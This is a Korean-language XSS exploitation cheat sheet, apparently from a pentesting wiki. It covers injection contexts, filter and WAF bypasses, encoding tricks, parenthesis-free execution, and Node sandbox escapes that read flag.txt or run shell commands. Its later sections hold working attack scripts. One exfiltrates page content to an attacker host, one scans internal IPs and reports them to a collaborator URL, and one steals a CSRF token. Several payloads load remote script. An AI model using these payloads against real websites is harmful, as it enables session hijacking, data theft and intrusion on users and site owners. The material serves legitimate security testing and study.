중간 반영: 매개변수의 값이나 경로가 웹 페이지에 반영되는 것을 발견하면 반영된 XSS를 악용할 수 있습니다.
저장 및 반영: 서버에 저장된 제어할 수 있는 값이 매번 페이지에 액세스할 때마다 반영되는 것을 발견하면 저장된 XSS를 악용할 수 있습니다.
JS를 통해 액세스: 제어할 수 있는 값이 JS를 사용하여 액세스되는 것을 발견하면 DOM XSS를 악용할 수 있습니다.
컨텍스트
XSS를 악용하려고 할 때 입력이 어디에 반영되는지를 먼저 알아야 합니다. 컨텍스트에 따라 임의의 JS 코드를 다양한 방법으로 실행할 수 있습니다.
원시 HTML
입력이 원시 HTML에 반영되는 경우 JS 코드를 실행하기 위해 일부 HTML 태그를 악용해야 합니다: <img , <iframe , <svg , <script ... 이것은 사용할 수 있는 많은 HTML 태그 중 일부에 불과합니다.
또한 클라이언트 측 템플릿 삽입을 염두에 두세요.
HTML 태그 속성 내부
입력이 태그의 속성 값 내부에 반영되는 경우 다음을 시도할 수 있습니다:
속성 및 태그에서 탈출하여(그러면 원시 HTML에 있게 됨) 새 HTML 태그를 악용할 수 있습니다: "><img [...]
속성에서 탈출하지만 태그에서 탈출하지 못하는 경우 (>가 인코딩되거나 삭제됨), 태그에 따라 JS 코드를 실행하는 이벤트를 생성할 수 있습니다: " autofocus onfocus=alert(1) x="
속성에서 탈출할 수 없는 경우 ("가 인코딩되거나 삭제됨), 반영되는 속성에 따라 값을 완전히 제어하거나 일부만 제어하는 경우 악용할 수 있습니다. 예를 들어, onclick=과 같은 이벤트를 제어하는 경우 클릭할 때 임의의 코드를 실행할 수 있습니다. 또 다른 흥미로운 예는 href 속성인데, javascript: 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: href="javascript:alert(1)"
입력이 "악용할 수 없는 태그" 내부에 반영되는 경우 취약점을 악용하기 위해 accesskey 트릭을 시도할 수 있습니다(이를 악용하기 위해 일종의 사회 공학이 필요합니다): " accesskey="x" onclick="alert(1)" x="
이 경우에는 HTML 페이지의 <script> [...] </script> 태그 사이, .js 파일 내부 또는 javascript: 프로토콜을 사용하는 속성 내부에 입력이 반영됩니다:
<script> [...] </script> 태그 사이에 반영된 경우, 입력이 어떤 종류의 따옴표 안에 있더라도 </script>를 주입하고 이 문맥에서 탈출을 시도할 수 있습니다. 이는 브라우저가 먼저 HTML 태그를 구문 분석한 다음 내용을 처리하기 때문에, 주입된 </script> 태그가 HTML 코드 내에 있는 것을 인식하지 못하기 때문에 작동합니다.
JS 문자열 내부에 반영된 경우이고 마지막 트릭이 작동하지 않는 경우 문자열을 종료하고 코드를 실행하고 JS 코드를 재구성해야 합니다 (오류가 있으면 실행되지 않음):
'-alert(1)-'
';-alert(1)//
\'-alert(1)//
템플릿 리터럴 내에 반영된 경우 ${ ... } 구문을 사용하여 JS 표현식을 포함할 수 있습니다: var greetings = `Hello, ${alert(1)}`
유니코드 인코딩을 사용하여 유효한 javascript 코드를 작성할 수 있습니다:
\u{61}lert(1)\u0061lert(1)\u{0061}lert(1)
자바스크립트 호이스팅
자바스크립트 호이스팅은 사용된 후에 함수, 변수 또는 클래스를 선언할 수 있는 기회를 가리킵니다. 이를 통해 XSS가 선언되지 않은 변수나 함수를 사용하는 시나리오를 악용할 수 있습니다.더 많은 정보를 보려면 다음 페이지를 확인하세요:
이러한 종류의 XSS는 어디서나 발견될 수 있습니다. 이것들은 웹 애플리케이션의 클라이언트 공격뿐만 아니라 어떤컨텍스트에서도 발생할 수 있습니다. 이러한 종류의 임의의 JavaScript 실행은 심지어 RCE 획득, 클라이언트 및 서버에서 임의의 파일 읽기 등을 위해 악용될 수 있습니다.
일부 예시:
당신의 입력이 HTML 페이지 내에 반영되거나 이 문맥에서 HTML 코드를 이스케이프하고 삽입할 수 있는 경우, 첫 번째 해야 할 일은 <를 악용하여 새 태그를 만들 수 있는지 확인하는 것입니다: 그 문자를 반영하고 HTML이 인코딩되었는지 또는 삭제되었는지 또는 변경 없이 반영되는지 확인해보세요. 마지막 경우에만 이 케이스를 악용할 수 있을 것입니다.
이 경우에는 블랙/화이트리스트가 사용되지 않는다면, 다음과 같은 페이로드를 사용할 수 있습니다:
하지만, 태그/속성 블랙/화이트리스트가 사용되고 있다면, 만들 수 있는 태그를 무차별 대입(brute-force) 해야 합니다.
허용된 태그를 찾은 후, 발견한 유효한 태그 내에서 속성/이벤트를 무차별 대입(brute-force) 해서 어떻게 공격할 수 있는지 확인해야 합니다.
태그/이벤트 무차별 대입
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet로 이동하여 _Copy tags to clipboard_를 클릭합니다. 그런 다음, Burp Intruder를 사용하여 모든 태그를 보내고 WAF가 악성으로 감지하지 않은 태그가 있는지 확인합니다. 사용할 수 있는 태그를 발견한 후, 유효한 태그를 사용하여 모든 이벤트를 무차별 대입(brute-force) 할 수 있습니다 (동일한 웹 페이지에서 _Copy events to clipboard_를 클릭하고 이전과 동일한 절차를 따릅니다).
사용자 정의 태그
유효한 HTML 태그를 찾지 못했다면, 사용자 정의 태그를 생성하고 onfocus 속성을 사용하여 JS 코드를 실행해 볼 수 있습니다. XSS 요청에서 URL을 #로 끝내어 페이지가 해당 객체에 초점을 맞추고 코드를 실행하도록 해야 합니다:
만약 어떤 종류의 블랙리스트가 사용된다면 몇 가지 어리석은 트릭으로 우회해 볼 수 있습니다:
//Random capitalization<script> --> <ScrIpT><img --> <ImG//Double tag, in case just the first match is removed<script><script><scr<script>ipt><SCRscriptIPT>alert(1)</SCRscriptIPT>//You can substitude the space to separate attributes for://*%00//%00*/%2F%0D%0C%0A%09//Unexpected parent tags<svg><x><script>alert('1')</x>//Unexpected weird attributes<script x><scripta="1234"><script ~~~><script/random>alert(1)</script><script ///Note the newline>alert(1)</script><scr\x00ipt>alert(1)</scr\x00ipt>//Not closing tag, ending with " <" or " //"<iframeSRC="javascript:alert('XSS');" <<iframe SRC="javascript:alert('XSS');"////Extra open<<script>alert("XSS");//<</script>//Just weird an unexpected, use your imagination<</script/script><script><input type=image srconerror="prompt(1)">//Using `` instead of parenthesisonerror=alert`1`//Use more than one<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
<!-- Taken from the blog of Jorge Lajara --><svg/onload=alert``><scriptsrc=//aa.es><scriptsrc=//℡㏛.pw>
클릭 XSS - 클릭재킹
만약 취약점을 악용하기 위해 사용자가 링크나 폼을 클릭해야 하는 경우 사전에 데이터가 채워진 링크나 폼을 클릭하도록 유도할 수 있습니다. 클릭재킹을 악용해 볼 수 있습니다 (페이지가 취약한 경우).
불가능 - 댕글마크업
만약 HTML 태그에 JS 코드를 실행할 속성을 만들 수 없다고 생각한다면, 댕글마크업을 확인해 보세요. 왜냐하면 JS 코드를 실행하지 않고도 취약점을 악용할 수 있기 때문입니다.
HTML 태그 내부에 주입
태그 내부/속성 값에서 탈출
만약 HTML 태그 내부에 있다면, 먼저 태그에서 탈출하고 이전 섹션에서 언급된 기술 중 일부를 사용하여 JS 코드를 실행해 볼 수 있습니다.
태그에서 탈출할 수 없다면, 태그 내에 새로운 속성을 만들어 JS 코드를 실행해 보려고 시도할 수 있습니다. 예를 들어, 이 예제에서는 더블 쿼트를 사용하여 속성에서 탈출합니다 (입력이 태그 내부에 직접 반영되는 경우 더블 쿼트가 필요하지 않습니다):
<p style="animation: x;" onanimationstart="alert()">XSS</p><p style="animation: x;" onanimationend="alert()">XSS</p>#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
속성 내부
속성에서 탈출할 수 없더라도 ("가 인코딩되거나 삭제됨), 제어하는 값이 전체인지 일부인지에 따라 해당 값이 반영된 어떤 속성인지에 따라 악용할 수 있습니다. 예를 들어, onclick=과 같은 이벤트를 제어할 수 있다면 클릭할 때 임의의 코드를 실행시킬 수 있습니다.
또 다른 흥미로운 예시는 href 속성인데, 여기서 javascript: 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: href="javascript:alert(1)"
HTML 인코딩/URL 인코딩을 사용한 이벤트 내부 우회
HTML 태그 속성 값 내의 HTML 인코딩된 문자는 런타임에서 디코딩됩니다. 따라서 다음과 같은 것이 유효할 것입니다 (페이로드는 굵게 표시됨): <a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Go Back </a>
어떤 종류의 HTML 인코딩이든 유효합니다:
//HTML entities'-alert(1)-'//HTML hex without zeros'-alert(1)-'//HTML hex with zeros'-alert(1)-'//HTML dec without zeros'-alert(1)-'//HTML dec with zeros'-alert(1)-'<ahref="javascript:var a=''-alert(1)-''">a</a><ahref="javascript:alert(2)">a</a><ahref="javascript:alert(3)">a</a>
//For some reason you can use unicode to encode "alert" but not "(1)"<imgsrconerror=\u0061\u006C\u0065\u0072\u0074(1) /><imgsrconerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
특수 프로토콜 속성 내부
거기에서는 일부 위치에서 임의의 JS 코드를 실행하기 위해 javascript: 또는 data: 프로토콜을 사용할 수 있습니다. 일부는 사용자 상호 작용을 필요로하며 일부는 그렇지 않을 수 있습니다.
javascript:alert(1)JavaSCript:alert(1)javascript:%61%6c%65%72%74%28%31%29//URL encodejavascript:alert(1)javascript:alert(1)javascript:alert(1)javascriptΪlert(1)java //Note the new linescript:alert(1)data:text/html,<script>alert(1)</script>DaTa:text/html,<script>alert(1)</script>data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3edata:text/html;charset=UTF-8,<script>alert(1)</script>data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pgdata:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
이러한 프로토콜을 삽입할 수 있는 위치
일반적으로javascript: 프로토콜은 href 속성을 허용하는 모든 태그에서 사용할 수 있으며, 대부분의 태그에서는 src 속성을 허용하지만 (<img 제외)
또 다른 좋은 속임수가 있습니다: javascript:... 내부의 입력이 URL 인코딩되어 있더라도 실행되기 전에 URL 디코딩됩니다. 따라서 문자열에서 작은 따옴표를 사용하여 탈출해야 하는 경우 URL 인코딩되어 있는 것을 보더라도, 실행 시간에는 작은 따옴표로 해석될 것이라는 것을 기억하세요.
<!-- Injection inside meta attribute--><metaname="apple-mobile-web-app-title"content=""Twitterpopoverid="newsletter"onbeforetoggle=alert(2) /><!-- Existing target--><buttonpopovertarget="newsletter">Subscribe to newsletter</button><divpopoverid="newsletter">Newsletter popup</div>
여기에서: 피해자를 설득하여 키 조합을 누르도록 유도할 수 있다면, 숨겨진 속성 내에서 XSS 페이로드를 실행할 수 있습니다. Firefox Windows/Linux에서는 ALT+SHIFT+X이고 OS X에서는 CTRL+ALT+X입니다. 다른 키 조합을 지정할 수 있으며, 이를 위해 액세스 키 속성에서 다른 키를 사용할 수 있습니다. 다음은 벡터입니다:
이 예에서는 싱글 따옴표를 조차 닫지 않았음을 주목하십시오. 이는 HTML 파싱이 먼저 브라우저에 의해 수행되기 때문인데, 이는 페이지 요소를 식별하는 것을 포함하여 스크립트 블록을 식별하는 것을 의미합니다. 중첩된 스크립트를 이해하고 실행하기 위한 JavaScript의 파싱은 그 후에 수행됩니다.
JS 코드 내부
<>가 살균되고 있다면 입력이 위치한 곳에서 문자열을 이스케이프하고 임의의 JS를 실행할 수 있습니다. JS 구문을 수정하는 것이 중요한데, 오류가 있으면 JS 코드가 실행되지 않을 수 있습니다.
문자열을 구성하기 위해 JS는 작은 따옴표와 큰 따옴표 외에도 역따옴표` `` 를 허용합니다. 이를 템플릿 리터럴이라고 하며 ${ ... } 구문을 사용하여 내장된 JS 표현식을 실행할 수 있습니다.
따라서, 입력이 역따옴표를 사용하는 JS 문자열 내에 반사된 것을 발견하면 ${ ... } 구문을 남용하여 임의의 JS 코드를 실행할 수 있습니다:
다음을 사용하여 악용할 수 있습니다:
`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``functionloop(){return loop}loop``````````````
인코딩된 코드 실행
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
'\b'//backspace'\f'//form feed'\n'//new line'\r'//carriage return'\t'//tab'\b'//backspace'\f'//form feed'\n'//new line'\r'//carriage return'\t'//tab// Any other char escaped is just itself
//This is a 1 line comment/* This is a multiline comment*/<!--This is a 1line comment#!This is a 1 line comment, but "#!" must to be at the beggining of the first line-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
//Javascript interpret as new line these chars:String.fromCharCode(10); alert('//\nalert(1)') //0x0aString.fromCharCode(13); alert('//\ralert(1)') //0x0dString.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
자바스크립트 공백 문자
log=[];functionfunct(){}for(let i=0;i<=0x10ffff;i++){try{eval(`funct${String.fromCodePoint(i)}()`);log.push(i);}catch(e){}}console.log(log)//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:<img/src/onerror=alert(1)>
주석 내부의 Javascript
//If you can only inject inside a JS comment, you can still leak something//If the user opens DevTools request to the indicated sourceMappingURL will be send//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
괄호 없이 JavaScript
// By setting locationwindow.location='javascript:alert\x281\x29'x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x// or any DOMXSS sink such as location=name// Backtips// Backtips pass the string as an array of lenght 1alert`1`// Backtips + Tagged Templates + call/applyeval`alert\x281\x29`// This won't work as it will just return the passed arraysetTimeout`alert\x281\x29`eval.call`${'alert\x281\x29'}`eval.apply`${[`alert\x281\x29`]}`[].sort.call`${alert}1337`[].map.call`${eval}\\u{61}lert\x281337\x29`// To pass several arguments you can usefunctionbtt(){console.log(arguments);}btt`${'arg1'}${'arg2'}${'arg3'}`//It's possible to construct a function and call itFunction`x${'alert(1337)'}x```// .replace can use regexes and call a function if something is found"a,".replace`a${alert}`//Initial ["a"] is passed to str as "a," and thats why the initial string is "a,""a".replace.call`1${/./}${alert}`// This happened in the previous example// Change "this" value of call to "1,"// match anything with regex /./// call alert with "1""a".replace.call`1337${/..../}${alert}`//alert with 1337 instead// Using Reflect.apply to call any function with any argumnetsReflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`// Using Reflect.set to call set any value to a variableReflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString// These operations are called when the object is used as a primitive// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''toString=alert;window+''// Error handlerwindow.onerror=eval;throw"=alert\x281\x29";onerror=eval;throw"=alert\x281\x29";<imgsrc=x onerror="window.onerror=eval;throw'=alert\x281\x29'">{onerror=eval}throw"=alert(1)" //No ";"onerror=alert //No ";" using new linethrow 1337// Error handler + Special unicode separatorseval("onerror=\u2028alert\u2029throw 1337");// Error handler + Comma separator// The comma separator goes through the list and returns only the last elementvar a = (1,2,3,4,5,6) // a = 6throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alertthrow onerror=alert,1,1,1,1,1,1337// optional exception variables inside a catch clause.try{throw onerror=alert}catch{throw 1}// Has instance symbol'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
//Eval like functionseval('ale'+'rt(1)')setTimeout('ale'+'rt(2)');setInterval('ale'+'rt(10)');Function('ale'+'rt(10)')``;[].constructor.constructor("alert(document.domain)")``[]["constructor"]["constructor"]`$${alert()}```import('data:text/javascript,alert(1)')//General function executions``//Can be use as parenthesisalert`document.cookie`alert(document['cookie'])with(document)alert(cookie)(alert)(1)(alert(1))in"."a=alert,a(1)[1].find(alert)window['alert'](0)parent['alert'](1)self['alert'](2)top['alert'](3)this['alert'](4)frames['alert'](5)content['alert'](6)[7].map(alert)[8].find(alert)[9].every(alert)[10].filter(alert)[11].findIndex(alert)[12].forEach(alert);top[/al/.source+/ert/.source](1)top[8680439..toString(30)](1)Function("ale"+"rt(1)")();newFunction`al\ert\`6\``;Set.constructor('ale'+'rt(13)')();Set.constructor`al\x65rt\x2814\x29```;$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)globalThis[`al`+/ert/.source]`1`this[`al`+/ert/.source]`1`[alert][0].call(this,1)window['a'+'l'+'e'+'r'+'t']()window['a'+'l'+'e'+'r'+'t'].call(this,1)top['a'+'l'+'e'+'r'+'t'].apply(this,[1])(1,2,3,4,5,6,7,8,alert)(1)x=alert,x(1)[1].find(alert)top["al"+"ert"](1)top[/al/.source+/ert/.source](1)al\u0065rt(1)al\u0065rt`1`top['al\145rt'](1)top['al\x65rt'](1)top[8680439..toString(30)](1)<svg><animateonbegin=alert() attributeName=x></svg>
DOM 취약점
공격자가 제어하는 데이터를 안전하게 사용하지 않는location.href와 같은 JS 코드가 있습니다. 공격자는 이를 악용하여 임의의 JS 코드를 실행할 수 있습니다.
DOM 취약점에 대한 설명이 확장되어이 페이지로 이동되었습니다:
만약 302 Redirect 응답에서 헤더를 주입할 수 있다면, 브라우저가 임의의 JavaScript를 실행하도록 시도할 수 있습니다. 이는 현대 브라우저가 HTTP 응답 상태 코드가 302인 경우 HTTP 응답 본문을 해석하지 않기 때문에 쉽지 않습니다. 따라서 단순한 크로스 사이트 스크립팅 페이로드는 쓸모가 없습니다.
이 보고서와 이것을 통해 Location 헤더 내에서 여러 프로토콜을 테스트하고 브라우저가 본문 내의 XSS 페이로드를 검사하고 실행할 수 있는지 확인할 수 있습니다.
과거 알려진 프로토콜: mailto://, //x:1/, ws://, wss://, 빈 Location 헤더, resource://.
문자, 숫자 및 점만 허용
만약 콜백이 실행할 JavaScript을 나타낼 수 있다면, 해당 문자에 제한을 둘 수 있습니다. 이 게시물의 이 섹션을 읽어 이 동작을 악용하는 방법을 찾아보세요.
유효한 <script> 콘텐츠 유형으로 XSS
(여기서) application/octet-stream과 같은 콘텐츠 유형으로 스크립트를 로드하려고 시도하면 Chrome은 다음 오류를 표시합니다:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
webbundle: 웹 번들은 여러 데이터 (HTML, CSS, JS...)를 하나의 .wbn 파일로 패키징할 수 있는 기능입니다.
<scripttype="webbundle">{"source": "https://example.com/dir/subresources.wbn","resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]}</script>The resources are loaded from the source .wbn, not accessed via HTTP
<scripttype="importmap">{"imports": {"moment": "/node_modules/moment/src/moment.js","lodash": "/node_modules/lodash-es/lodash.js"}}</script><!-- With importmap you can do the following --><script>import moment from"moment";import { partition } from"lodash";</script>
이 동작은 이 설명서에서 라이브러리를 eval로 다시 매핑하여 악용하여 XSS를 유발하는 데 사용되었습니다.
speculationrules: 이 기능은 주로 사전 렌더링으로 인해 발생하는 일부 문제를 해결하기 위한 것입니다. 작동 방식은 다음과 같습니다:
페이지가 text/xml 콘텐츠 유형을 반환하는 경우 네임스페이스를 지정하고 임의의 JS를 실행할 수 있습니다:
<xml><text>hello<imgsrc="1"onerror="alert(1)"xmlns="http://www.w3.org/1999/xhtml" /></text></xml><!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
특수 대체 패턴
**"some {{template}} data".replace("{{template}}", <user_input>)**와 같은 것이 사용될 때, 공격자는 특수 문자열 대체을 사용하여 일부 보호를 우회하려고 시도할 수 있습니다: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
예를 들어, 이 writeup에서는 이를 사용하여 스크립트 내의 JSON 문자열을 이스케이프하고 임의의 코드를 실행했습니다.
사용할 수 있는 문자 집합이 제한적인 경우, XSJail 문제에 대한 다른 유효한 솔루션을 확인하세요:
// eval + unescape + regexeval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))// use of withwith(console)log(123)with(/console.log(1)/)with(this)with(constructor)constructor(source)()// Just replace console.log(1) to the real code, the code we want to run is://return String(process.mainModule.require('fs').readFileSync('flag.txt'))with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solutionwith(/with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))/)with(this)with(constructor)constructor(source)()// For more uses of with go to challenge misc/CaaSio PSE in// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
만약 실행되기 전에 모든 것이 정의되지 않았다면 (예: 이 writeup에서와 같이) 임의의 믿을 수 없는 코드를 실행하여 유용한 객체를 "아무것도 없는 상태"에서 생성하여 임의의 믿을 수 없는 코드의 실행을 남용할 수 있습니다:
import()를 사용
// although import "fs" doesn’t work, import('fs') does.import("fs").then(m=>console.log(m.readFileSync("/flag.txt","utf8")))
이전 예제와 유사하게, 에러 핸들러를 사용하여 모듈의 래퍼에 액세스하고 require 함수를 얻는 것이 가능합니다:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()
만약 쿠키에 HTTPOnly 플래그가 설정되어 있다면 JavaScript에서 쿠키에 접근할 수 없습니다. 그러나 당신이 충분히 운이 좋다면 이 보호를 우회하는 방법이 있습니다.
페이지 콘텐츠 도용
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);
내부 IP 찾기
<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
}
function fetchUrl(url, wait){
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
}
});
setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
</script>
또한 metasploit의 http_javascript_keylogger를 사용할 수 있습니다
CSRF 토큰 도용
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
정규식 - 숨겨진 콘텐츠 접근
이 설명서에서는 일부 값이 JS에서 사라져도 다른 객체의 JS 속성에서 그 값을 찾을 수 있다는 것을 알 수 있습니다. 예를 들어, 정규식의 입력 값이 제거된 후에도 해당 값은 여전히 찾을 수 있습니다:
// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);
// Remove flag value, nobody will be able to get it, right?
flag=""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])
브루트포스 목록
다른 취약점을 악용한 XSS
마크다운에서의 XSS
렌더링될 마크다운 코드를 삽입할 수 있습니까? XSS를 얻을 수 있을지도 모릅니다! 확인하세요:
AMP는 모바일 기기에서 웹 페이지 성능을 가속화하기 위해 고안되었으며, 속도와 보안에 중점을 둔 기능을 보장하기 위해 JavaScript가 보완된 HTML 태그를 포함합니다. 다양한 기능을 위한 구성 요소 범위를 지원하며, AMP 구성 요소를 통해 액세스할 수 있습니다.
AMP for Email 형식은 특정 AMP 구성 요소를 이메일로 확장하여 수신자가 이메일 내에서 콘텐츠와 직접 상호 작용할 수 있도록 합니다.